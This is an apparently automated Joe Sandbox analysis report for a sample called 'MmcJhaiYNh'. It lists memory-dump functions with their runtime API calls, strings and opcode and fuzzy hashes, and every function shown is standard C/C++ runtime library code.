Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Function 00852003 Relevance: .0, Instructions: 12COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: c5c06b7120a2c275f96b91547d67715cafcbb4ff62056f2860ec2eb2ff9177bc
Instruction ID: baff083bd8410804a00893d4bbc6ea2ffd95a60a08a4c0cd1e8aabe4b43b1f0b
Opcode Fuzzy Hash: c5c06b7120a2c275f96b91547d67715cafcbb4ff62056f2860ec2eb2ff9177bc
Instruction Fuzzy Hash: 8FD0953A601A549FC210CF09E840D41F7B8FB99630B1681AAE909A3B20C330FC02CAE0

Function 00860F2E Relevance: .0, Instructions: 12COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction ID: 3dcbe3d1834374a4815110f8cca78b7dbb4efd02e3892d3fb083c9a491f244ac
Opcode Fuzzy Hash: f509db719341cefea6c6c824f556d87c4149af31b656ab04d21882e9f704e7b0
Instruction Fuzzy Hash: F4C04C7414194086CF399914C2717A63355F7B2B82F9514CCDD1B9F783CA1EAC86DF16

Function 0085A5C8 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 303
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

type_info::operator==.LIBVCRUNTIME ref: 0085A6E7
___TypeMatch.LIBVCRUNTIME ref: 0085A7F5
CallUnexpected.LIBVCRUNTIME ref: 0085A962

Strings

csm, xrefs: 0085A672
csm, xrefs: 0085A605
csm, xrefs: 0085A71E

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: CallMatchTypeUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 1206542248-393685449
Opcode ID: 3552df0c8f486f165e4ff5ff95ce68b348deadf4600e9641234c9e85e61d7881
Instruction ID: e5c56165fa53fdeaf11e310b82e9468feea64e4113bad12b35b688d02989c5f3
Opcode Fuzzy Hash: 3552df0c8f486f165e4ff5ff95ce68b348deadf4600e9641234c9e85e61d7881
Instruction Fuzzy Hash: E2B148758002199FCF19DFA8C8C19AEBBB5FF14312F14426AEC15AB212D731DA59CB93

Function 00865F4A Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,F8250000,?,AB5D983C,?,00866057,0085C446,?,F8250000,00000000), ref: 0086600B

Strings

api-ms-, xrefs: 00865FA1
ext-ms-, xrefs: 00865FB5

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 88673c40b69a120c7ee7a3c0883e28dccc74ea622ffae29d528675c8ba9694c6
Instruction ID: c5de45f95d9baca32531c3b0be6cce48cdf9cdd94a80287d57bf0c58eedc998f
Opcode Fuzzy Hash: 88673c40b69a120c7ee7a3c0883e28dccc74ea622ffae29d528675c8ba9694c6
Instruction Fuzzy Hash: 1B21E771A01A14A7CB319B64EC45A5E7768FB51760F260220F91AF72D4EF30EE40D6E1

Function 0086F356 Relevance: 9.3, APIs: 6, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 92a5bd58acd6aed05c7f4e581e490867e3d780be5977baaa2f255c5d2f209657
Instruction ID: d7ded3f99fe2686ef0e7603f2886ff62dd710fd471fb123bc6bb4244cdbc8b7c
Opcode Fuzzy Hash: 92a5bd58acd6aed05c7f4e581e490867e3d780be5977baaa2f255c5d2f209657
Instruction Fuzzy Hash: 35B1BC70A04209AFDB11DFA8E881BADBBB1FF55314F154169EA01DB2A2CB71DD41CF61

Function 008553B1 Relevance: 9.1, APIs: 6, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__EH_prolog3.LIBCMT ref: 008553B8
std::_Lockit::_Lockit.LIBCPMT ref: 008553C2
int.LIBCPMT ref: 008553D9

Part of subcall function 008516B4: std::_Lockit::_Lockit.LIBCPMT ref: 008516C5
Part of subcall function 008516B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008516DF

std::_Facet_Register.LIBCPMT ref: 00855413
std::_Lockit::~_Lockit.LIBCPMT ref: 00855433
Concurrency::cancel_current_task.LIBCPMT ref: 00855440

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_H_prolog3Register
String ID:
API String ID: 55977855-0
Opcode ID: 49bb587675c549b32206f0d37b16b2380bfe3d15a2a03ab2348cf9ec52201cf2
Instruction ID: bca3421f4e2ea8d07d89d91008673c7faac23a8b34f218eb9560503b32caa0b6
Opcode Fuzzy Hash: 49bb587675c549b32206f0d37b16b2380bfe3d15a2a03ab2348cf9ec52201cf2
Instruction Fuzzy Hash: 0511E471900A149BCB10EB68D8157AEB7B5FF44326F54450DFC05E7290DF74AE4C8B82

Function 0085A25A Relevance: 9.1, APIs: 6, Instructions: 60
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetLastError.KERNEL32(?,?,0085A251,00858978,00857AFF), ref: 0085A268
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 0085A276
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 0085A28F
SetLastError.KERNEL32(00000000,0085A251,00858978,00857AFF), ref: 0085A2E1

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: aef1c9dcca0c6b9ccdcec13a7942e0423b855974bf43e7fd31edd52684acdb2c
Instruction ID: 5458d51467424da55c032f2d55f4577fbaa7367e524f431241be0a196f86f56c
Opcode Fuzzy Hash: aef1c9dcca0c6b9ccdcec13a7942e0423b855974bf43e7fd31edd52684acdb2c
Instruction Fuzzy Hash: A801F53210CB112E962827787CCBA262755FB1277BF200329FD14E20E1EF528C8E5547

Function 00860F50 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,AB5D983C,?,?,00000000,00871FC8,000000FF,?,00860EE0,00861010,?,00860EB4,00000000), ref: 00860F85
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00860F97
FreeLibrary.KERNEL32(00000000,?,?,00000000,00871FC8,000000FF,?,00860EE0,00861010,?,00860EB4,00000000), ref: 00860FB9

Strings

mscoree.dll, xrefs: 00860F7E
CorExitProcess, xrefs: 00860F8F

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e81f599f2e24c0217cd442a63c038920cb385411002563d52860cd85ea007cd8
Instruction ID: 5ca5491c4f3c745cea9091983f27999a3c182eb47ca69a9dfb1b328b86a4d3b0
Opcode Fuzzy Hash: e81f599f2e24c0217cd442a63c038920cb385411002563d52860cd85ea007cd8
Instruction Fuzzy Hash: 19018F31904A15ABCB118B50DC09BAEBBB8FB04B10F004529F825E22D4EB78D944DE90

Function 00854436 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00854442
int.LIBCPMT ref: 00854455

Part of subcall function 008516B4: std::_Lockit::_Lockit.LIBCPMT ref: 008516C5
Part of subcall function 008516B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008516DF

std::_Facet_Register.LIBCPMT ref: 00854488
std::_Lockit::~_Lockit.LIBCPMT ref: 0085449E
Concurrency::cancel_current_task.LIBCPMT ref: 008544A9

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: c3934d256e32e371eeb558fc62c89691b6ab12d8223133518c5de6b0b92df25b
Instruction ID: 4af9d914c5a1957159fa08502ded4f8db8f95bb5f1530261c7efd4143e9b41f1
Opcode Fuzzy Hash: c3934d256e32e371eeb558fc62c89691b6ab12d8223133518c5de6b0b92df25b
Instruction Fuzzy Hash: D9018F76500518ABCF15AB68D80AEAD7778FF803A6B240159FD05E7290EF309E8DC785

Function 00853DB1 Relevance: 7.5, APIs: 5, Instructions: 48COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00853DBD
int.LIBCPMT ref: 00853DD0

Part of subcall function 008516B4: std::_Lockit::_Lockit.LIBCPMT ref: 008516C5
Part of subcall function 008516B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008516DF

std::_Facet_Register.LIBCPMT ref: 00853E03
std::_Lockit::~_Lockit.LIBCPMT ref: 00853E19
Concurrency::cancel_current_task.LIBCPMT ref: 00853E24

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: e9cde42bc83ef0081437bdfc36d81b4b0c5194caeb6ef959eb3733067bbeccf0
Instruction ID: 816a37dcdf545e7660bd8c130e65b5da27e31e74ba97bdddfdfcf2c9e68c373e
Opcode Fuzzy Hash: e9cde42bc83ef0081437bdfc36d81b4b0c5194caeb6ef959eb3733067bbeccf0
Instruction Fuzzy Hash: 56018472500518ABCF15AB58D806D9D77B8FF403A5B200159FC05E7291DF309E49CB81

Function 00854308 Relevance: 7.5, APIs: 5, Instructions: 47COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00854315
int.LIBCPMT ref: 00854328

Part of subcall function 008516B4: std::_Lockit::_Lockit.LIBCPMT ref: 008516C5
Part of subcall function 008516B4: std::_Lockit::~_Lockit.LIBCPMT ref: 008516DF

std::_Facet_Register.LIBCPMT ref: 0085435B
std::_Lockit::~_Lockit.LIBCPMT ref: 00854371
Concurrency::cancel_current_task.LIBCPMT ref: 0085437C

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Concurrency::cancel_current_taskFacet_Register
String ID:
API String ID: 2081738530-0
Opcode ID: dac3f253ed2d144074e9e37fae00b3e5ec6f50aaa1a738b1042528bdab471f2b
Instruction ID: a9f199d49f37ca6cbeeb37e1469336234d1aad14f7101977478750d2b2a97fd6
Opcode Fuzzy Hash: dac3f253ed2d144074e9e37fae00b3e5ec6f50aaa1a738b1042528bdab471f2b
Instruction Fuzzy Hash: 0E01B136500418A7CB10ABA89806DDD77B8FF94719B201158FC05D73A0EF309E8D8B81

Function 0085507A Relevance: 7.5, APIs: 5, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 00855081
std::_Lockit::_Lockit.LIBCPMT ref: 0085508C
std::locale::_Setgloballocale.LIBCPMT ref: 008550A7
_Yarn.LIBCPMT ref: 008550BD
std::_Lockit::~_Lockit.LIBCPMT ref: 008550FA

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: Lockitstd::_$H_prolog3Lockit::_Lockit::~_SetgloballocaleYarnstd::locale::_
String ID:
API String ID: 156189095-0
Opcode ID: 743575a5402213b2a28f53a175167439501e1c2a38a05991f7617959ba4eff9c
Instruction ID: ac0355dca7e07dfdfdf7ebe566a45b4ecdc6b37bb69023529d37c9524fd07a77
Opcode Fuzzy Hash: 743575a5402213b2a28f53a175167439501e1c2a38a05991f7617959ba4eff9c
Instruction Fuzzy Hash: B401D4716009149BC705EB24D866A7C7771FF84341B544009EC4197391DF34AE49CBC3

Function 0089961A Relevance: 7.5, APIs: 5, Instructions: 34COMMONLIBRARYCODE

Download Yara Rule

APIs

__getptd.LIBCMT ref: 00899626

Part of subcall function 00898E77: __getptd_noexit.LIBCMT ref: 00898E7A
Part of subcall function 00898E77: __amsg_exit.LIBCMT ref: 00898E87

__getptd.LIBCMT ref: 0089963D
__amsg_exit.LIBCMT ref: 0089964B
__lock.LIBCMT ref: 0089965B
__updatetlocinfoEx_nolock.LIBCMT ref: 0089966F

Memory Dump Source

Source File: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: __amsg_exit__getptd$Ex_nolock__getptd_noexit__lock__updatetlocinfo
String ID:
API String ID: 938513278-0
Opcode ID: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction ID: 73a1160452cc6d93d38c473d5c2035905af56ffea7f1153003695a525d341cb9
Opcode Fuzzy Hash: 9141d4d236c8230aa4afe5b4a9d8ccb2514574f5d49c72fbeb20a3e596f06de6
Instruction Fuzzy Hash: 2AF09A32A04714DBDF22BB6C9802B5E33A0FF01B25F5D024DF485EA2D2DF245940DA9B

Function 0085B3A2 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 27libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,?,0085B353,00000000,?,008CB6EC,?,?,?,0085B4F6,00000004,InitializeCriticalSectionEx,00874BD8,InitializeCriticalSectionEx), ref: 0085B3AF
GetLastError.KERNEL32(?,0085B353,00000000,?,008CB6EC,?,?,?,0085B4F6,00000004,InitializeCriticalSectionEx,00874BD8,InitializeCriticalSectionEx,00000000,?,0085B2AD), ref: 0085B3B9
LoadLibraryExW.KERNEL32(00000000,00000000,00000000), ref: 0085B3E1

Strings

api-ms-, xrefs: 0085B3C6

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID: api-ms-
API String ID: 3177248105-2084034818
Opcode ID: 9324869741a4579339e4ab1731bc43d5ac0098c3e55c6454d5dde5cffe9e8208
Instruction ID: e8273b9c02668252bc641bcf1cc8d34f4c0c9f941dcf6ff952b943d10f2d4da5
Opcode Fuzzy Hash: 9324869741a4579339e4ab1731bc43d5ac0098c3e55c6454d5dde5cffe9e8208
Instruction Fuzzy Hash: 4AE04F30280204B7EF211BB1EC4AB593E98FB20B52F144021FE0CF81E5EB71DA949686

Function 00867747 Relevance: 6.3, APIs: 4, Instructions: 338fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32(AB5D983C,00000000,00000000,00000000), ref: 008677AA

Part of subcall function 0086952A: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,00868FD3,?,00000000,-00000008), ref: 008695D6

WriteFile.KERNEL32(?,?,00000000,?,00000000), ref: 00867A05
WriteFile.KERNEL32(?,?,00000001,?,00000000), ref: 00867A4D
GetLastError.KERNEL32 ref: 00867AF0

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_850000_MmcJhaiYNh.jbxd

Yara matches

Similarity

API ID: FileWrite$ByteCharConsoleErrorLastMultiOutputWide
String ID:
API String ID: 2112829910-0
Opcode ID: f88a30a467fe3e48559d9515ef67e5bf78903ba2e6fc328de991a27856d605c0
Instruction ID: 92445a88b9e6c40f3f6a4f89e18fd0088c3174ff29219ccb3efd91a96b4b63fc
Opcode Fuzzy Hash: f88a30a467fe3e48559d9515ef67e5bf78903ba2e6fc328de991a27856d605c0
Instruction Fuzzy Hash: 48D17975D042589FCF15CFE8D8809ADBBB5FF09318F19412AE865E7351D730A942CB90

Function 0085A371 Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 0085A438
___AdjustPointer.LIBCMT ref: 0085A45B
___AdjustPointer.LIBCMT ref: 0085A4F7

Memory Dump Source

Source File: 00000000.00000002.1361305151.0000000000851000.00000020.00000001.01000000.00000003.sdmp, Offset: 00850000, based on PE: true

Associated: 00000000.00000002.1361288169.0000000000850000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361333397.0000000000873000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361353024.000000000087D000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361390102.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361410043.00000000008CB000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1361430041.00000000008CC000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin
